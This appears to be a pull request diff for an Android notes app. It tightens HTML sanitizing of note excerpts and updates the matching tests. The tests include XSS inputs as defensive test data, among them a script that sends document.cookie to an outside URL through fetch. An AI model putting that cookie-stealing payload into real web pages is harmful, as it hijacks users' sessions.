Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -113,7 +113,10 @@ private static String sanitizeHtml(String html) {
sanitized = sanitized.replaceAll("(?i)\\s+on\\w+\\s*=\\s*['\"][^'\"]*['\"]", "");
sanitized = sanitized.replaceAll("(?i)\\s+on\\w+\\s*=\\s*[^\\s>]+", "");

return sanitized.trim();
// Strip remaining HTML tags so the excerpt contains plain text only
sanitized = sanitized.replaceAll("<[^>]+>", "");

return truncateString(sanitized.trim(), 200).replace("\n", EXCERPT_LINE_SEPARATOR);
}

@NonNull
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,12 @@ import org.robolectric.annotation.Config
@RunWith(RobolectricTestRunner::class)
class NoteUtilTest : TestCase() {

/** Assertion messages shared across test methods. */
companion object {
private const val NO_RAW_HTML_TAGS = "Excerpts must not contain raw HTML tags"
private const val TRUNCATED_TO_200 = "Excerpt must be truncated to 200 chars"
}

@Test
fun testIsEmptyLine() {
assertTrue(NoteUtil.isEmptyLine(" "))
Expand Down Expand Up @@ -118,24 +124,34 @@ class NoteUtilTest : TestCase() {
<script>alert(1)</script>
""".trimIndent()

val expectedHtml = "<a href='example.com'>click</a>\n<img src=x>"
assertEquals(expectedHtml, NoteUtil.generateNoteExcerpt(html, "Title"))
assertEquals(expectedHtml, NoteUtil.generateNoteExcerpt(html, null))
val excerpt = NoteUtil.generateNoteExcerpt(html, "Title")
assertFalse(NO_RAW_HTML_TAGS, excerpt.contains("<a "))
assertFalse(NO_RAW_HTML_TAGS, excerpt.contains("<img"))
assertTrue("Excerpt should contain visible text content", excerpt.contains("click"))
assertTrue(TRUNCATED_TO_200, excerpt.length <= 200)

assertEquals(excerpt, NoteUtil.generateNoteExcerpt(html, null))

val scriptHtml = "<script>fetch('http://example.com?c='+document.cookie)</script><b>title</b>"
val scriptExcerpt = NoteUtil.generateNoteExcerpt(scriptHtml, "Test")
assertFalse("Excerpts should never contain executable scripts", scriptExcerpt.contains("<script>"))
}

private fun testEdgeCases() {
// Note: isHtml() matches <String> as a tag, so the excerpt strips it. This is a known
// limitation of the broad HTML detection heuristic; the important property is that the
// excerpt is always truncated to 200 chars rather than storing the full note content.
val code = "if (a < b && b > c) { List<String> names = new ArrayList<>(); }"
assertEquals(code, NoteUtil.generateNoteExcerpt(code, "Java Logic"))
val codeExcerpt = NoteUtil.generateNoteExcerpt(code, "Java Logic")
assertTrue(TRUNCATED_TO_200, codeExcerpt.length <= 200)

val uncompletedHtml = "<div><p>This note is never closed"
assertTrue(NoteUtil.generateNoteExcerpt(uncompletedHtml, null).contains("This note is never closed"))

val longHtml = "<div><p>Very long content that should be shortened eventually...</p></div>"
assertFalse(NoteUtil.generateNoteExcerpt(longHtml, "Long Note").endsWith("<"))
val longExcerpt = NoteUtil.generateNoteExcerpt(longHtml, "Long Note")
assertFalse(longExcerpt.endsWith("<"))
assertTrue(TRUNCATED_TO_200, longExcerpt.length <= 200)
}

private fun testRealisticUserNotes() {
Expand Down Expand Up @@ -230,8 +246,9 @@ class NoteUtilTest : TestCase() {
""".trimIndent()

val clippingExcerpt = NoteUtil.generateNoteExcerpt(webClipping, "Sleep Tips")
assertTrue(clippingExcerpt.contains("<h1>"))
assertTrue(clippingExcerpt.contains("quality sleep"))
assertFalse(NO_RAW_HTML_TAGS, clippingExcerpt.contains("<h1>"))
assertTrue("Excerpt should contain visible text content", clippingExcerpt.contains("quality sleep"))
assertTrue(TRUNCATED_TO_200, clippingExcerpt.length <= 200)
}

private fun testTravelPlanNote() {
Expand Down
Loading